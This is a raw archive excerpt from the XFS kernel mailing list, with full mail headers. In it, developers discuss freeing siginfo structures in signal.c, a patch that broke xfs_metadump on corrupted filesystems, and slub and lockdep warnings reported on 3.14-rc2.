In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392313219 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/12, Linus Torvalds wrote: > > On Wed, Feb 12, 2014 at 1:14 PM, Al Viro wrote: > > > > Umm... What if we delay __sigqueue_free()? After all, that's where the > > fat sucker normally comes from. That way we might get away with much > > smaller structure on stack... > > Sounds like the RightThing(tm) to do to me, and I don't see why it > wouldn't work. Probably... I'll try to reply tomorrow. > We'd have to teach each user of "dequeue_signal()" to free the siginfo > thing. And we should be careful with SIGQUEUE_PREALLOC, at least collect_signal() should not do list_del_init()... Plus we need to handle the SEND_SIG_FORCED-like case. Oleg. From linus971@gmail.com Thu Feb 13 11:58:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 34E987F55 for ; Thu, 13 Feb 2014 11:58:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A1C32AC00A for ; Thu, 13 Feb 2014 09:58:50 -0800 (PST) X-ASG-Debug-ID: 1392314327-04cbb00c2b35eb60001-NocioJ Received: from mail-ve0-f177.google.com (mail-ve0-f177.google.com [209.85.128.177]) by cuda.sgi.com with ESMTP id dEjOVuvYzRJ3gk9e (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Feb 2014 09:58:48 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] Received: by mail-ve0-f177.google.com with SMTP id jz11so8678897veb.36 for ; Thu, 13 Feb 2014 09:58:47 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=yj1utRbkBpEEeJccWQMmE1WOmNwrjsZ3ihpQ7rrhlBA=; b=kDSkX0CeP9GcEISvQbcA/55mcShhJd9qXOLIk3cPT9oHidQ9FfCZgsGEQOsKYf3oeY Plsb/JIqFpL/pLA9EArWr7beCbKPWAeIf1EccthGN2kHvChMY+PA3Zq5+tvO/jIjn2dG NcLdRrCsHY6OPEMKvWAQ2VP0PUHFczSbH5NYojYyeLYBXTXKWuBV7lsAvv57wnl7pPjn RD7lk5GtHi2DJKSxd1lQu3jA6LXuu9XeyJK4P3eB0xgr/KGw7F4MlFCm+qSaFUrbAz3M gb0dJzZhRWC08G6+NxvZtk37DDYNGmCdSbxe/iV53xrl0TDoCy7d8dtjRHnJv+i063QX BDig== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=yj1utRbkBpEEeJccWQMmE1WOmNwrjsZ3ihpQ7rrhlBA=; b=DoZWxS4i2C+nv7aAoy5nDReb6fjixSE1D011vBNDedRJM9tDg4WI8aZuzn8u5FH5Za YTD4Okx6AnWtCkSte52sY0hklnyO58W74QUig2pTgROR/yuLwmjMe/tO0qb9hLPQ/lEX 0O95cvz33A7F/tY5oq2eyN7/bCSpWKw0dBr/8= MIME-Version: 1.0 X-Received: by 10.220.58.202 with SMTP id i10mr1702865vch.23.1392314327667; Thu, 13 Feb 2014 09:58:47 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Thu, 13 Feb 2014 09:58:47 -0800 (PST) In-Reply-To: <20140213174020.GA14455@redhat.com> References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> Date: Thu, 13 Feb 2014 09:58:47 -0800 X-Google-Sender-Auth: CjRK4PoOgV74-MF4A59wt7xqJTc Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Oleg Nesterov Cc: Al Viro , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f177.google.com[209.85.128.177] X-Barracuda-Start-Time: 1392314328 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145084 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Feb 13, 2014 at 9:40 AM, Oleg Nesterov wrote: > > And we should be careful with SIGQUEUE_PREALLOC, at least > collect_signal() should not do list_del_init()... Plus we need to > handle the SEND_SIG_FORCED-like case. I don't think the users need to care. They'd just call "sigqueue_free()" not knowing about our preallocations etc. That kind of detail should be confined to inside signal.c. But there really aren't that many users. There's a couple of "dequeue_signal_lock()" users, but they don't actually *want* the siginfo at all (they're kernel threads), so we can just make that function free the siginfo immediately (and get rid of the totally unnecessay kernel stack allocation). And outside of signal.c only signalfd uses "dequeue_signal()" itself, and that would be the only one that would need to be taught to use (in signalfd_copyinfo()) and then free the sigqueue entry. So it really looks like the right thing to do, and fairly straightforward. But I'm leaving the coding proof to Al, since he already offered ;) Linus From oleg@redhat.com Thu Feb 13 12:10:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 59C617F55 for ; Thu, 13 Feb 2014 12:10:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6277AC005 for ; Thu, 13 Feb 2014 10:10:20 -0800 (PST) X-ASG-Debug-ID: 1392315019-04bdf01d0b5a890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jjzrH5WTeorCaUJP for ; Thu, 13 Feb 2014 10:10:20 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1DIAAX5004743 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Feb 2014 13:10:15 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id s1DIA8w2001569; Thu, 13 Feb 2014 13:10:08 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Thu, 13 Feb 2014 19:10:16 +0100 (CET) Date: Thu, 13 Feb 2014 19:10:13 +0100 From: Oleg Nesterov To: Linus Torvalds Cc: Al Viro , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140213181013.GA15596@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392315019 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/13, Linus Torvalds wrote: > > On Thu, Feb 13, 2014 at 9:40 AM, Oleg Nesterov wrote: > > > > And we should be careful with SIGQUEUE_PREALLOC, at least > > collect_signal() should not do list_del_init()... Plus we need to > > handle the SEND_SIG_FORCED-like case. > > I don't think the users need to care. They'd just call > "sigqueue_free()" not knowing about our preallocations etc. Yes, but we need to be careful to avoid the races with release_posix_timer(). > That kind > of detail should be confined to inside signal.c. Yes, sure. > But there really aren't that many users. There's a couple of > "dequeue_signal_lock()" users, but they don't actually *want* the > siginfo at all (they're kernel threads), so we can just make that > function free the siginfo immediately (and get rid of the totally > unnecessay kernel stack allocation). Yes. Perhaps this helper should be changed/renamed. And perhaps we can even change __send_signal() to avoid __sigqueue_alloc() if PF_KTHREAD. Or sig == SIGKILL. Oleg. From oleg@redhat.com Thu Feb 13 12:37:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 81C937F55 for ; Thu, 13 Feb 2014 12:37:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 656D2304053 for ; Thu, 13 Feb 2014 10:37:37 -0800 (PST) X-ASG-Debug-ID: 1392316656-04cbb00c2a361a10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Jt8AEmV3GHgrE9YG for ; Thu, 13 Feb 2014 10:37:36 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1DIbXxE017018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Feb 2014 13:37:33 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1DIbUmw016914; Thu, 13 Feb 2014 13:37:31 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Thu, 13 Feb 2014 19:37:39 +0100 (CET) Date: Thu, 13 Feb 2014 19:37:36 +0100 From: Oleg Nesterov To: Linus Torvalds Cc: Al Viro , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140213183736.GA16937@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> <20140213181013.GA15596@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213181013.GA15596@redhat.com> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392316656 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/13, Oleg Nesterov wrote: > > On 02/13, Linus Torvalds wrote: > > > > On Thu, Feb 13, 2014 at 9:40 AM, Oleg Nesterov wrote: > > > > > > And we should be careful with SIGQUEUE_PREALLOC, at least > > > collect_signal() should not do list_del_init()... Plus we need to > > > handle the SEND_SIG_FORCED-like case. > > > > I don't think the users need to care. They'd just call > > "sigqueue_free()" not knowing about our preallocations etc. > > Yes, but we need to be careful to avoid the races with > release_posix_timer(). Plus we need to delay do_schedule_next_timer() as well. But this is probably good because we can avoid unlock/lock(siglock) in dequeue_signal(). Oleg. From tinguely@sgi.com Thu Feb 13 13:30:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2EA217F55 for ; Thu, 13 Feb 2014 13:30:02 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 029AE304039; Thu, 13 Feb 2014 11:29:58 -0800 (PST) Message-ID: <52FD1D38.1010006@sgi.com> Date: Thu, 13 Feb 2014 13:30:00 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-2-git-send-email-david@fromorbit.com> In-Reply-To: <1390472635-17225-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 01/23/14 04:23, Dave Chinner wrote: > From: Dave Chinner > > Write_buf/write_index use confusing boolean values for return, > meaning that it's hard to tell what the correct error return is > supposed to be. Convert them to return zero on success or a > negative errno otherwise so that it's clear what the error case is. > > Signed-off-by: Dave Chinner > --- Looks like this patch broke metadumps on some corrupted filesystems. This is a legacy filesystem that has zeroes overwriting the SB/AGF/AGI on AG 1/2/3: # xfs_metadump -wgo /dev/sda8 myfile.metadata xfs_agf_read_verify: XFS_CORRUPTION_ERROR xfs_metadump: cannot init perag data (117). Continuing anyway. Copied 64 of 64 inodes (0 of 4 AGs) xfs_agf_write_verify: XF S_CORRUPTION_ERROR write_buf: write verifer failed on bno 0x1100919/0x200 (no output) commit dd9093de944cd802427bd42953ad5ccc1d5fb875 before it: # xfs_metadump -wgo /dev/sda8 myfile.metadata xfs_agf_read_verify: XFS_CORRUPTION_ERROR xfs_metadump: cannot init perag data (117). Continuing anyway. Copied 64 of 64 inodes (0 of 4 AGs) xfs_agf_write_verify: XF S_CORRUPTION_ERROR write_buf: write verifer failed on bno 0x1100919/0x200 Copying free space trees of AG 1 xfs_metadump: invalid block number (0) in bnobt root in agf 1 xfs_metadump: invalid block number (0) in cntbt root in agf 1 xfs_metadump: invalid block number (0) in inobt root in agi 1 Copying free space trees of AG 2 xfs_metadump: invalid block number (0) in bnobt root in agf 2 xfs_metadump: invalid block number (0) in cntbt root in agf 2 xfs_metadump: invalid block number (0) in inobt root in agi 2 Copying free space trees of AG 3 xfs_metadump: invalid block number (4294967295) in bnobt root in agf 3 xfs_metadump: invalid block number (4294967295) in cntbt root in agf 3 xfs_metadump: invalid block number (0) in inobt root in agi 3 Copying log From lists@nerdbynature.de Thu Feb 13 13:53:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=FROM_12LTRDOM,HDRS_LCASE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B31457F55 for ; Thu, 13 Feb 2014 13:53:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8CE65304064 for ; Thu, 13 Feb 2014 11:53:12 -0800 (PST) X-ASG-Debug-ID: 1392321187-04cbb00c293674b0001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id LiWGOZEVzBH63bBp for ; Thu, 13 Feb 2014 11:53:07 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 3642D3DB6A; Thu, 13 Feb 2014 20:53:06 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 2F9E33DB00; Thu, 13 Feb 2014 20:53:05 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 10E183DABF; Thu, 13 Feb 2014 20:53:05 +0100 (CET) Date: Thu, 13 Feb 2014 11:53:05 -0800 (PST) From: Christian Kujau To: LKML , xfs@oss.sgi.com cc: linux-mm@kvack.org Subject: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: X-ASG-Orig-Subj: 3.14.0-rc2: WARNING: at mm/slub.c:1007 User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392321187 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145087 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, the WARNING below was printed. Shortly after, a lockdep warning appeared (possibly related to my post to the XFS list yesterday[0]). Even later in the log an out-of-memory error appeared, that may or may not be relatd to that WARNING at all but which I'm trying to chase down ever since 3.13, but which tends to appear more often lately. Can anyone take a look if this is something to worry about? Full dmesg & .config: http://nerdbynature.de/bits/3.14-rc2/mm/ Thanks, Christian. [0] http://oss.sgi.com/pipermail/xfs/2014-February/034054.html ------------[ cut here ]------------ WARNING: at /usr/local/src/linux-git/mm/slub.c:1007 Modules linked in: md5 ecb nfs i2c_powermac therm_adt746x ecryptfs arc4 firewire_sbp2 b43 usb_storage mac80211 cfg80211 CPU: 0 PID: 9025 Comm: nfsd Not tainted 3.14.0-rc2 #1 task: efbf8000 ti: ed2a0000 task.ti: ed2a0000 NIP: c00ccc28 LR: c00ccc20 CTR: 00000000 REGS: ed2a1980 TRAP: 0700 Not tainted (3.14.0-rc2) MSR: 00021032 CR: 22f82b82 XER: 20000000 GPR00: c00ccc20 ed2a1a30 efbf8000 00000000 ef96e550 00000000 00000000 00002ce0 GPR08: 00000000 00000001 efbf86f8 000005e7 82fc2b88 00000000 00000001 00080011 GPR16: 00000000 00000000 c0760000 00000000 ef96e564 00100100 00200200 c1203914 GPR24: 00000000 ef96e540 00000002 ef96fa80 00000000 00000000 ed2a0000 c1203900 NIP [c00ccc28] deactivate_slab+0x4c0/0x538 LR [c00ccc20] deactivate_slab+0x4b8/0x538 Call Trace: [ed2a1a30] [c00ccc20] deactivate_slab+0x4b8/0x538 (unreliable) [ed2a1ae0] [c055d5f0] __slab_alloc.constprop.77+0x260/0x38c [ed2a1b50] [c00cd524] kmem_cache_alloc+0x118/0x140 [ed2a1b70] [c01de4bc] kmem_zone_alloc+0x94/0x108 [ed2a1ba0] [c01cccd4] xfs_inode_alloc+0x2c/0xd4 [ed2a1bc0] [c01cd7a4] xfs_iget+0x2e4/0x584 [ed2a1c30] [c020e664] xfs_lookup+0xc8/0xe4 [ed2a1c70] [c01d3c28] xfs_vn_lookup+0x64/0xbc [ed2a1c90] [c00db3ac] lookup_real+0x30/0x70 [ed2a1ca0] [c00dc384] __lookup_hash+0x3c/0x58 [ed2a1cc0] [c00e1438] lookup_one_len+0x10c/0x15c [ed2a1ce0] [c01a170c] nfsd4_encode_dirent+0xb4/0x328 [ed2a1d10] [c018f580] nfsd_readdir+0x1d4/0x288 [ed2a1d90] [c019d648] nfsd4_encode_readdir+0x138/0x1f4 [ed2a1dd0] [c01a1b18] nfsd4_encode_operation+0x8c/0xf0 [ed2a1df0] [c019aa4c] nfsd4_proc_compound+0x1b8/0x4f8 [ed2a1e30] [c0189d20] nfsd_dispatch+0x90/0x1a0 [ed2a1e50] [c0536b04] svc_process+0x3d0/0x698 [ed2a1e90] [c01895bc] nfsd+0xc0/0x120 [ed2a1eb0] [c004f8fc] kthread+0xbc/0xd0 [ed2a1f40] [c0010ae4] ret_from_kernel_thread+0x5c/0x64 Instruction dump: 7fe4fb78 800100b4 b9c10068 7d810120 7d808120 7c0803a6 382100b0 4bfffb00 80610048 4bf95dc5 2f830000 40beff4c <0fe00000> 4bffff44 815e000c 394a0001 ---[ end trace 1f5ed3ea8b3e4403 ]--- -- BOFH excuse #65: system needs to be rebooted From lists@nerdbynature.de Thu Feb 13 13:56:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 203D27F55 for ; Thu, 13 Feb 2014 13:56:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A25C4AC00C for ; Thu, 13 Feb 2014 11:56:40 -0800 (PST) X-ASG-Debug-ID: 1392321397-04bdf01d0b62c50001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id IHMtfH3fjlzV6lPC for ; Thu, 13 Feb 2014 11:56:37 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 1E4B53DB5F; Thu, 13 Feb 2014 20:56:37 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 9A32C3DB2D for ; Thu, 13 Feb 2014 20:56:36 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 7B8A33DAAC for ; Thu, 13 Feb 2014 20:56:36 +0100 (CET) Date: Thu, 13 Feb 2014 11:56:36 -0800 (PST) From: Christian Kujau To: xfs@oss.sgi.com Subject: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected In-Reply-To: X-ASG-Orig-Subj: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected Message-ID: References: User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392321397 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145087 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 12 Feb 2014 at 00:11, Christian Kujau wrote: > After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, this > happened: Yesterday a slighly different lockdep warning was printed: ========================================================= [ INFO: possible irq lock inversion dependency detected ] 3.14.0-rc2 #1 Tainted: G W --------------------------------------------------------- kswapd0/279 just changed the state of lock: (&(&ip->i_lock)->mr_lock){++++.?}, at: [] xfs_free_eofblocks+0xe8/0x2e0 but this lock took another, RECLAIM_FS-unsafe lock in the past: (&mm->mmap_sem){++++++} and interrupts could create inverse lock ordering between them. other info that might help us debug this: Possible interrupt unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&mm->mmap_sem); local_irq_disable(); lock(&(&ip->i_lock)->mr_lock); lock(&mm->mmap_sem); lock(&(&ip->i_lock)->mr_lock); *** DEADLOCK *** 2 locks held by kswapd0/279: #0: (shrinker_rwsem){++++..}, at: [] shrink_slab+0x40/0x13c #1: (&type->s_umount_key#36){+++++.}, at: [] grab_super_passive+0x54/0xc0 the shortest dependencies between 2nd lock and 1st lock: -> (&mm->mmap_sem){++++++} ops: 58148911 { HARDIRQ-ON-W at: [] lock_acquire+0x4c/0x68 [] down_write+0x4c/0x98 [] do_execve+0x2dc/0x574 [] try_to_run_init_process+0x18/0x58 [] kernel_init+0xac/0x104 [] ret_from_kernel_thread+0x5c/0x64 ...and on it goes, full dmesg: http://nerdbynature.de/bits/3.14-rc2/mm/ Thanks, Christian. -- BOFH excuse #65: system needs to be rebooted From lists@nerdbynature.de Thu Feb 13 14:02:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 023C27F57 for ; Thu, 13 Feb 2014 14:02:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CA271304064 for ; Thu, 13 Feb 2014 12:01:59 -0800 (PST) X-ASG-Debug-ID: 1392321718-04cb6c6de23683c0001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id XuqNk9gaqECBaSGJ for ; Thu, 13 Feb 2014 12:01:58 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 160C13DB40; Thu, 13 Feb 2014 21:01:58 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id CF9223DB01; Thu, 13 Feb 2014 21:01:56 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 9180B3DAC3; Thu, 13 Feb 2014 21:01:56 +0100 (CET) Date: Thu, 13 Feb 2014 12:01:56 -0800 (PST) From: Christian Kujau To: LKML , xfs@oss.sgi.com cc: linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 In-Reply-To: X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: References: User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392321718 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 